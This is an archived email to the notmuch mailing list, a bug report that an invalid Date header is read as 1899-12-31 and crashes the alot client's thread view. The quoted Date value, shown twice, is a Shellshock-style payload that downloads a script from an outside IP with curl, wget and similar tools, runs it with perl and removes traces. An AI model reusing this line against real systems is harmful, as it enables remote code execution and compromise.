Re: [PATCH] emacs: wash: make word-wrap bound message width
[notmuch-archives.git] / 56 / 962a12676916307272c0800056edc53c1f350d
1 Return-Path: <j.schauer@email.de>\r
2 X-Original-To: notmuch@notmuchmail.org\r
3 Delivered-To: notmuch@notmuchmail.org\r
4 Received: from localhost (localhost [127.0.0.1])\r
5  by arlo.cworth.org (Postfix) with ESMTP id A27E26DE1A45\r
6  for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 00:01:53 -0700 (PDT)\r
7 X-Virus-Scanned: Debian amavisd-new at cworth.org\r
8 X-Spam-Flag: NO\r
9 X-Spam-Score: -0.02\r
10 X-Spam-Level: \r
11 X-Spam-Status: No, score=-0.02 tagged_above=-999 required=5\r
12  tests=[NORMAL_HTTP_TO_IP=0.001, RCVD_IN_DNSWL_NONE=-0.0001,\r
13  RCVD_IN_MSPIKE_H3=-0.01, RCVD_IN_MSPIKE_WL=-0.01, SPF_PASS=-0.001]\r
14  autolearn=disabled\r
15 Received: from arlo.cworth.org ([127.0.0.1])\r
16  by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024)\r
17  with ESMTP id 3FTOwRj7Wdw9 for <notmuch@notmuchmail.org>;\r
18  Wed, 22 Apr 2015 00:01:51 -0700 (PDT)\r
19 X-Greylist: delayed 308 seconds by postgrey-1.35 at arlo;\r
20  Wed, 22 Apr 2015 00:01:50 PDT\r
21 Received: from mout.web.de (mout.web.de [212.227.17.11])\r
22  by arlo.cworth.org (Postfix) with ESMTPS id C114D6DE1A3F\r
23  for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 00:01:50 -0700 (PDT)\r
24 Received: from localhost ([46.5.19.64]) by smtp.web.de (mrweb101) with ESMTPSA\r
25  (Nemesis) id 0LgpVS-1Z5LYU3m4M-00oEBC for <notmuch@notmuchmail.org>;\r
26  Wed, 22 Apr 2015 08:56:33 +0200\r
27 Content-Type: multipart/signed; protocol="application/pgp-signature";\r
28  micalg="pgp-sha256"; boundary="===============5658821246841805018=="\r
29 MIME-Version: 1.0\r
30 Content-Disposition: inline\r
31 To: notmuch@notmuchmail.org\r
32 Message-ID: <20150422065630.6330.90536@hoothoot>\r
33 From: Johannes Schauer <j.schauer@email.de>\r
34 User-Agent: alot/0.3.6\r
35 Subject: bug: notmuch cannot handle invalid Date fields\r
36 Date: Wed, 22 Apr 2015 08:56:30 +0200\r
37 X-Provags-ID: V03:K0:tcPLe5dpOyRODUpZPabtfWlovT+vxq852X0ipsUF8tYQiKyNSoF\r
38  Kd3CQa8J6epu/hqvitdj4zt4dBMOOJuvbTHupbyivcthK+d2hOshGZXlupVC0aP0WDNYSqg\r
39  9xKgBgnh8rXqfUqeUYu/O8FIHkFWn1FL6aD/wmsRanl9XTnQT9zl6c5OBdMgjRLYbAf0rLj\r
40  9uv8vNSti857ulTGYNg8w==\r
41 X-UI-Out-Filterresults: notjunk:1;\r
42 X-Mailman-Approved-At: Wed, 22 Apr 2015 05:08:25 -0700\r
43 X-BeenThere: notmuch@notmuchmail.org\r
44 X-Mailman-Version: 2.1.18\r
45 Precedence: list\r
46 List-Id: "Use and development of the notmuch mail system."\r
47  <notmuch.notmuchmail.org>\r
48 List-Unsubscribe: <http://notmuchmail.org/mailman/options/notmuch>,\r
49  <mailto:notmuch-request@notmuchmail.org?subject=unsubscribe>\r
50 List-Archive: <http://notmuchmail.org/pipermail/notmuch/>\r
51 List-Post: <mailto:notmuch@notmuchmail.org>\r
52 List-Help: <mailto:notmuch-request@notmuchmail.org?subject=help>\r
53 List-Subscribe: <http://notmuchmail.org/mailman/listinfo/notmuch>,\r
54  <mailto:notmuch-request@notmuchmail.org?subject=subscribe>\r
55 X-List-Received-Date: Wed, 22 Apr 2015 07:01:53 -0000\r
56 \r
57 --===============5658821246841805018==\r
58 Content-Type: text/plain; charset="utf-8"\r
59 MIME-Version: 1.0\r
60 Content-Transfer-Encoding: quoted-printable\r
61 \r
62 Hi,\r
63 \r
64 I recently received an email with the following date field (the value of all\r
65 other headers is the same):\r
66 \r
67 Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-dow=\r
68 nload http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254=\r
69 .31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;\r
70 \r
71 When doing `notmuch search lwp-download` I get:\r
72 \r
73 thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tm=\r
74 p ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt=\r
75 ;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr =\r
76 ex.*' &; (inbox unread)\r
77 \r
78 You can see that the date is 1899-12-31 which is wrong.\r
79 \r
80 This is annoying because the python module datetime which is for example us=\r
81 ed\r
82 by the notmuch client alot cannot handle dates before the year 1900 and will\r
83 thus never show this email in its thread view but instead display an except=\r
84 ion\r
85 every time the view is refreshed.\r
86 \r
87 It would be great if an invalid date could either somehow default to a nil\r
88 value or be a date that is 1900 or later.\r
89 \r
90 Thanks!\r
91 \r
92 cheers, josch\r
93 \r
94 --===============5658821246841805018==\r
95 MIME-Version: 1.0\r
96 Content-Transfer-Encoding: 7bit\r
97 Content-Description: signature\r
98 Content-Type: application/pgp-signature; name="signature.asc"; charset="us-ascii"\r
99 \r
100 -----BEGIN PGP SIGNATURE-----\r
101 Version: GnuPG v2\r
102 \r
103 iQIcBAABCAAGBQJVN0YeAAoJEPLLpcePvYPhSOAQAIshVq9O3v5N2jjiE9tKcuqC\r
104 mZ1rm6X2jZm/kbWFX1NSnQ5qI7Tyuy0S549k+/n3i3FTGxbYIyAaqJ5wSuTaqCNa\r
105 nyRe4LNKT2mOq7RUt8XsD1fmUm8RIoxbGYqACsaugNP51K6IZCkwWxAtCj6u362c\r
106 4sTtOnsTd5AcDyWDX1ErX0nC/Jt7aWXIeBJm9P+XodKX+Vr1RFVxT83pkx7QOoQ4\r
107 aQMOdoQaVbejCN9bi93R/z8UWXCGxaC12FMNUCGPGGJHZQ4VUzNCJ303wQqb+4O7\r
108 6qKc6bzJg4YEbLgsr8oeWh0bkFjPiSdExFiS2uUYmaaM3aH5Y1ndayBhOXV9UrLS\r
109 KSKrdJbUnqKaeMpCE4ACwL6MKO4tBek4hYwFETaP3fmhjm1uK2Bu6FgDM+3XTL9n\r
110 3kMBoQlkoA1EdaT3JQK+irBCnEoLzy897vqtf6YkgoKHbX4k2Fx9Bt2XUa7tygv3\r
111 1Ez6pRv9t8kHsde+ZU7xrQlJG5JfNDT43zP07VJUV10ctU2ZCt8cu3fMgrCPsK1m\r
112 rx3RcnTNg2nbIq5fHhVZTk40s/3dA7yJua6i/nwaQaY7yX/AhHLGMU97krlkB83n\r
113 xuYeuuKLj5Nv8QUTZ+juMVsEP6ukeM0ChtVIbMqP47/kuUvGqvYcn0Ii64HjF1jQ\r
114 AjnMU1UmJfwH/+lpFnvI\r
115 =dT8/\r
116 -----END PGP SIGNATURE-----\r
117 \r
118 --===============5658821246841805018==--\r